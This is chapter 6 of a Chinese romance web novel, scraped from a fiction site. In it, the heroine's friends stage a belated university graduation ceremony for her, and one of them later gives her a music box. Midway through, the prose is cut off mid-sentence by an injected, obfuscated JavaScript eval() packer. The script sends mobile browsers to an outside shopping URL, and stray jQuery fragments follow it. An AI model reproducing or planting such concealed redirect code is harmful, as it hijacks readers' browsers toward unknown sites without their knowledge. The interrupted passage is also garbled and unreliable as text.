文趣网 > 其他小说 > 狩夏[追妻] > 6. 第 6 章
    一日傍晚,夏纾的手机突然响了,是黄雨婷打来的。

    电话一接通,黄雨婷喜悦的声音炸开,语气很夸张:“珊珊!我不管,我明天必须去江城,给你办庆功宴!”

    夏纾握着手机,忍不住笑:“不用这么夸张吧?就是顺利做完一个展会案子而已,只是一个普通工作啦。”

    “当然至于!”黄雨婷非常认真,“这是我们家珊珊,正式踏入职场、站稳脚跟的第一步,意义完全不一样!”

    夏纾笑了笑,被她真诚的话语打动,还是亲闺蜜好,不止手把手教自己职场法则,还能发自内心看见自己的成长。不像那个傅廷御,又忙得不着家了。

    这么多年,还好有雨婷一直陪在身边,夏纾心里温暖,欣然答应了:

    “那你想在哪聚?”

    “明天下午,我们学校见。”

    夏纾微微一愣,感到疑惑:“什么情况,干嘛去学校啊?”

    黄雨婷打算卖关子,故意压低声音:“你来就知道了,不许再问。乖哈。”

    挂了电话,夏纾心里揣着满满的好奇,这个黄雨婷葫芦里到底卖了什么药,出于对亲闺蜜的绝对信任,她还是激动地等待着第二天的碰面。

    次日下午,她按照约定时间来了大学母校。

    校门口人来人往,满是朝气蓬勃的学生,三五成群。看见他们,就像看见了曾经的自己,青春,好近又好远,一时有点失神。

    回过神来,夏纾远远就看见了黄雨婷,她一身休闲装束,笑意盈盈,但她身边,似乎还站着一个身形挺拔的男人,定睛细看,竟是林澈。

    黄雨婷偏头也看到了夏纾,眼睛一亮,立刻快步冲上来,张开双臂狠狠抱住夏纾,“珊!”

    夏纾被她抱得全身溢满开心,也伸手紧紧回抱。这个拥抱持续了半分钟之久。

    松开怀抱,夏纾看向一旁的林澈,礼貌又略带疏离地打招呼:“林澈。”

    林澈浅笑回应:“珊珊。”

    夏纾又看向黄雨婷,带着撒娇和嗔怪:“你们两个怎么联系上的?雨婷你翅膀硬了,竟然不告诉我!”

    “是林澈主动找我的!”黄雨婷笑得格外开心,表演求饶的样子。

    转头开始反击,朝夏纾使了使眼色:“原来你们现在工作有交集啊,珊珊你都没跟我说哦!我大人不记小人过,不跟你计较了。”

    夏纾被雨婷这么一说,有点不好意思。其实本来想告诉雨婷的,但是当年的事......那么不愉快,也没想再和林澈有交集,索性没说。

    黄雨婷打断夏纾的胡思乱想:“话说回来,现在太好了,我们三个终于又凑齐了,跟大学时候一模一样!”

    林澈看着夏纾,语气带着几分温柔的歉意,解释道:“当年我们三个分开得太匆忙,一直挺遗憾的......这次刚好有机会,就主动联系了雨婷,希望你别介意。”

    夏纾轻轻摇头,没再多说。

    “别站在门口聊啦,快跟我来!”黄雨婷挽住她的手腕,不由分说就拉着她往校内操场走。

    一路走到操场中央,夏纾脚步骤然顿住,眼里满是震惊。

    空旷的操场,被精心布置了一番。

    不大的小型舞台干净精致,四周摆满了鲜花,暖黄色的串灯缠绕四周,氛围感十足。舞台正中央挂着一条横幅,正式又醒目的字迹写着——夏纾同学毕业典礼。

    夏纾怔怔看着那行字,鼻尖骤然一酸。

    当年毕业季,她因为一些事情,并没有参加毕业典礼。没有穿上学士服,没有上台拨穗,也没有和同窗好好告别,后面也没有像大家一样,参加工作,进入社会。她总觉得,自己好像从来没毕业,心智停留在了过去。

    毕业典礼一直是她心底多年的遗憾。没想到多年以后,雨婷和林澈,悄悄为她补齐了。

    “快去换上!”黄雨婷立刻递过叠得整整齐齐的学士服,满脸期待。

    夏纾眼眶发红,接过衣服换好。宽大干净的学士服穿在身上,熟悉的感觉扑面而来。此时此刻,此人此景,恰如当年。

    这时,林澈慢慢走上舞台,拿起话筒。

    他的声音透过话筒缓缓传开,温柔清澈,拂过晚风,格外治愈。也一如当年。

    他没有冗长复杂的致辞,只是简单回顾了三人的大学时光,而后说起夏纾最近的成长以及对她未来的期许。最后,他目光温柔落向台下的夏纾,轻声开口:“接下来,有请我们最勇敢、最耀眼的毕业生——夏纾,上台。”

    夏纾深呼吸一口气,抬步走上舞台。

    在她站定的瞬间,漫天花瓣从舞台两侧缓缓飘落,温柔的鲜花雨簌簌落下,将她温柔包裹。

    夏纾站在花瓣与暖灯之中,看着台下笑着望向她的两个人,忍了许久的情绪终于决堤,眼眶一热,眼泪悄然落了下来。

    她知道,这不是难过的泪,而是是圆满,感动,和迟来的释怀。

    夏纾看着关系最好的雨婷,还有曾经亲近的林澈,哽咽道:“谢谢我最爱的雨婷,还有林澈,谢谢你们对我的爱,谢谢你们看见了我,我也谢谢我自己。我,夏纾,——今天毕业了!”

    台下黄雨婷泣不成声。

    三人在舞台上、操场边拍了无数张合照,又一起切了特意准备好的的毕业蛋糕,把迟来的仪式感,拉得满满当当。

    典礼结束后,他们就近找了家餐馆吃饭,氛围轻松温馨。

    夏纾端起水杯,认真看向两人,真诚说道:“真的谢谢你们,帮我圆了这么多年的遗憾。”

    “谢我就对了!”黄雨婷毫不客气,豪爽接受夏纾的感谢,随即坦然摆手,“不过我得澄清一下啊,点子可不是我想的,都得感谢林澈,这些都是林澈策划的,我就负责出钱,靠我的钞能力落地而已。”

    林澈淡淡一笑:“别听她的,主要都是雨婷的功劳。”

    看着眼前的两人,仍然是当年的两人。夏纾心中感慨万千:“说实话,我一直有这个心结。当年没赶上毕业典礼,毕业后也没有像大多数同龄人一样,按部就班进入职场。”

    “很长一段时间里,我都觉得自己的心智停留在了二十二岁,一直悬浮着,没有真正落地长大。”

    她弯了弯唇角,释然说道:“但这三个月,我开始工作了,再加上今天这场迟来的毕业礼,我才觉得我真的毕业了,也真切感受到了自己在慢慢成长、落地。”

    一番话说完,黄雨婷听得感动落泪,起身拥抱夏纾。

    林澈在一旁也偷偷红了眼眶。

    为了缓和微微煽情的气氛,黄雨婷率先开口打趣,扯回了以前的时光:

    “说起大学,我可想起好多糗事!当初我为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699920|208114||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了珊珊你,硬刚欺负你的学姐,把人家头都砸破了,哈哈哈哈,当时还闹得沸沸扬扬,非要我退学,不过好在,林澈美男计帮我摆平了!”

    林澈无奈失笑,连忙摇头:“不是美男计啊,是花钱解决的。”

    “那也不一样!”黄雨婷不依不饶地调侃,“那个学姐本来就对你有意思,不然这事没这么好解决!”

    “不过学姐欺负珊珊,本来也是因为你林澈。你摆平也是应该的。”

    夏纾和林澈被她这么一调侃,双双默契脸红,不敢看对方。

    说完,黄雨婷又想起一件趣事,笑得直拍桌子:“还有还有!当初珊珊也太可爱了,所有资料联系方式全填的林澈你的,结果一大堆想追珊珊的男生,天天给林澈打电话,笑死我了!”

    他们将过往细碎的趣事一一翻出,三人笑着闹着,聊着大学的肆意、年少的纯粹,不过也都很默契地略过了真正伤痛的旧疤。

    一顿饭从傍晚吃到深夜。

    直到餐馆打烊,这场回忆大会才结束。

    街边晚风微凉,路灯洒下温柔的光影。

    黄雨婷订的网约车到了,她明天还要赶飞机回西京,只能率先离开。临走前,她用力抱了抱两人,反复叮嘱要常联系,才依依不舍上车离开。

    路边只剩夏纾和林澈两人静静等车。

    沉默片刻,林澈忽然转头看向她,开口说道:“对了,我还有一个礼物给你。”

    他略显局促地笑了笑,语气带着几分拘谨:“准备得比较简陋,你别嫌弃。”

    夏纾被他突如其来的送礼弄得有点紧张,为了不被察觉,她故意挑眉,开玩笑逗他:“那可不一定,说不定我真会嫌弃。”

    见林澈眼底闪过一丝无奈的慌乱,她立刻笑着抬手拍了拍他的肩膀,补了一句:“开玩笑的。”

    林澈尴尬一笑,随即从口袋里拿出一个精致小巧的八音盒。

    他轻轻打开盒盖,清脆温柔的旋律缓缓流淌而出。盒子中央,立着一尊小巧精致的金色人像,造型酷似奥斯卡小金人,只是雕像的模样,是一个昂首挺立、抬手追梦的女孩。

    看清雕像的瞬间,夏纾脸上的笑意瞬间僵住,鼻尖猛地一酸,温热的眼泪毫无预兆地落了下来。

    原来他全都记得。

    大学时的某个傍晚,三人闲聊未来,她满心憧憬,说自己以后想做TVB里面杀伐果断、独当一面的职场女强人,闯出自己的天地,还要拿属于自己的奥斯卡奖杯。

    当时黄雨婷还笑她外行,纠正她奥斯卡是电影奖项,和传媒行业无关。

    她当时还有些不服气,小声嘟囔,难道传媒行业没有金像奖吗,太可惜了。

    而就是那时,年少的林澈认认真真看着她,像是许下海誓山盟般坚定说道:“没关系,我以后给你颁奖。”

    一句随口的玩笑话,根本不值一提,没想到,他默默记了这么多年。

    风轻轻吹过街边树梢,深夜路边很安静,只有稀疏几辆车驰过扬起的风声。八音盒的旋律温柔又治愈,一遍遍缠绕在耳畔。

    原来有些人的温柔,跨越数年。

    他明明还是最初的他啊。

    但是,当年......又为什么会那样?

    夜色温柔,遗憾正在被治愈,成长正在被见证,什么东西正在萌芽。